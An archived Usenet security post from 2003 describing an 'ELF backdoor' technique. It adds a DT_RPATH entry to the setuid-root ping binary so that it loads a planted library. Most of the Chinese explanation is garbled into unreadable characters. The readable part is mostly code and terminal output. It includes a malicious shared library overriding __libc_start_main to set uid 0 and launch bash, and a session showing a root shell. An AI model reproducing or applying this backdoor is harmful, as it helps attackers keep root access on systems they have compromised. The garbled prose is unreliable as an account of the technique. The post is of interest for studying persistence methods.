Article View: cn.comp.security
Article #2ELF后门之DT_RPATH篇
From: NewBlue
Date: Tue, 14 Oct 2003 04:21
Date: Tue, 14 Oct 2003 04:21
105 lines
5849 bytes
5849 bytes
ELF����֮DT_RPATHƪ
by alert7
2003��9��13��
��� DT_RPATH��ʲô��
Dynamic Section����section�������½ṹ��һ�����顣
+ Figure 2-9: Dynamic Structure
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
����Dynamic entry type�и���DT_RPATH����Ľ������£�
��Ԫ�ر�������NULL��β�������������Ŀ¼�ַ���ַ��ƫ������
��� DT_RPATH����ʲô
��̬������DT_RPATH������Ŀ¼�б���ַ���ð��(:)�ָ�����
���磬�ַ�/home/dir/lib:/home/dir2/lib:���߶�̬������������
/home/dir/lib��������/home/dir2/lib�����ǵ�ǰĿ¼��
LD_LIBRARY_PATH�����������õ�Ŀ¼��DT_RPATHָ���Ŀ¼֮��������
���ҳ��ڰ�ȫ���ǣ���̬����������set-user��set-group�ij����
LD_LIBRARY_PATH��ָ��������Ŀ¼�����������DT_RPATHָ����Ŀ¼��
/usr/lib���������DT_RPATH���DZȽϸ���Ȥ�ġ�
�������ϵĻ�֪ʶ�����ǿ�����һ��set-user�ij����ϰ�װһ��DT_RPATH��ڣ�һ�����û�У���
��������·������Ϊ��ǰĿ¼���������Լ���д�Ŀ��������ַŵ���ǰĿ¼�£���������������Լ��Ķ�̬�⡣
�������ǾͿ��Եõ�set-user��Ȩ���ˡ�
��� example
[alert7@redhat9 root]# ls -la /bin/ping
-rwsr-xr-x 1 root root 28628 Sep 12 05:41 /bin/ping
[alert7@redhat9 root]# ldd /bin/ping
libresolv.so.2 => /lib/libresolv.so.2 (0x40020000)
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
һ����ping��������
[alert7@redhat9 root]# ./elfaddRPATH /bin/ping
elfaddRPATH.c by alert7 <alert7@xfocus.org> or <alert7@whitecell.org>
add one DT_RPATH's Elf32_Dyn entry in dynamic section.
Usage: elfaddRPATH elf_object <dynsym_name>
dynsym_name default _Jv_RegisterClasses ,or __gmon_start__
[++]ELF format ok!
[++]check Executable file...ok!
[++]_Jv_RegisterClasses dynsym found!!!
[++]modity _Jv_RegisterClasses dynsym to _Jv_RegisterClass\0: succeed!
[++]dynamic section: contains 26 entries; 21 real entries
[++]add one DT_RPATH's Elf32_Dyn in dynamic section succeed!
�����Լ���дһ����̬��
/*mylib.c write by alert7*/
#include <stdlib.h>
void __libc_start_main(void){
setuid(0);
seteuid(0);
execl("/bin/bash","bash",0,0);
exit(0);
}
EOF
�����
[alert7@redhat9 alert7]$ gcc -shared mylib.c -o libresolv.so.2
�ػ���__libc_start_main���϶���ȷ��ping ���������Ȩ֮ǰִ�С�������ػ�malloc֮��ľͲ���ȷ���ˣ���
��Ϊ�����õ���һЩlibc.so.6�еĺ�������������Ҫ�������Լ���LIB��libresolv.so.2�����ִ���ڵ�ǰĿ¼�¡�
�����ping����
[alert7@redhat9 alert7]$ ping
[alert7@redhat9 alert7]# id
uid=0(root) gid=500(alert7) groups=500(alert7)
OK���ɹ���~~~
ROOT����ping �����û������
[alert7@redhat9 root]# ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.470 ms
elfaddRPATH.c��SRC�Ͳ��ṩ�ˣ�Ҳ��Ҫ������Ҫ���Ͼ��������µĶ�����
�����ṩһ��˼·�����˸�ʰɣ���������Ҫ���Լ��ˡ�
�ο����ϣ�
http://elfhack.whitecell.org/mydocs/ELF_chinese.txt
---EOF-----
--
NewBlue
�Դ����뿪���Ժ���һֱ�ȴ��������
Technical Details
Message-ID:
<ubrskjvof.fsf@yaako.com>Path:
arc1-ca.pugleaf.net!archiver1.google.com!news2.google.com!news.maxwell.syr.edu!newsfeed.media.kyoto-u.ac.jp!newsgate.cuhk.edu.hk!news.cn99.com!news.yaako.com!not-for-mailShow Full Headers
Complete Article Headers
X-Google-Language: Chinese,GB X-Google-Thread: 1009e6,db62b406c3857bc6,start X-Google-Attributes: gid1009e6,public X-Google-Thread: 1098a9,db62b406c3857bc6,start X-Google-Attributes: gid1098a9,public X-Google-Thread: 11047e,db62b406c3857bc6,start X-Google-Attributes: gid11047e,public X-Google-Thread: f5fb9,db62b406c3857bc6,start X-Google-Attributes: gidf5fb9,public X-Google-Thread: 10b277,db62b406c3857bc6,start X-Google-Attributes: gid10b277,public X-Google-ArrivalTime: 2003-10-13 23:52:45 PST Path: arc1-ca.pugleaf.net!archiver1.google.com!news2.google.com!news.maxwell.syr.edu!newsfeed.media.kyoto-u.ac.jp!newsgate.cuhk.edu.hk!news.cn99.com!news.yaako.com!not-for-mail From: NewBlue <NewBlue@yaako.com> Newsgroups: cn.comp.security,cn.comp.programm,cn.comp.lang.c,cn.comp.os.linux,cn.comp.hacker Subject: ELF后门之DT_RPATH篇 Date: Tue, 14 Oct 2003 12:21:52 +0800 Organization: 功夫茶 Lines: 105 Message-ID: <ubrskjvof.fsf@yaako.com> NNTP-Posting-Host: 61.146.252.4 Mime-Version: 1.0 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit X-Trace: news.yaako.com 1066114046 17074 61.146.252.4 (14 Oct 2003 06:47:26 GMT) X-Complaints-To: usenet@news.yaako.com NNTP-Posting-Date: Tue, 14 Oct 2003 06:47:26 +0000 (UTC) User-Agent: Emacs+gnus Cancel-Lock: sha1:7rmPewmpj/EHIUZdVfr61EljlcY=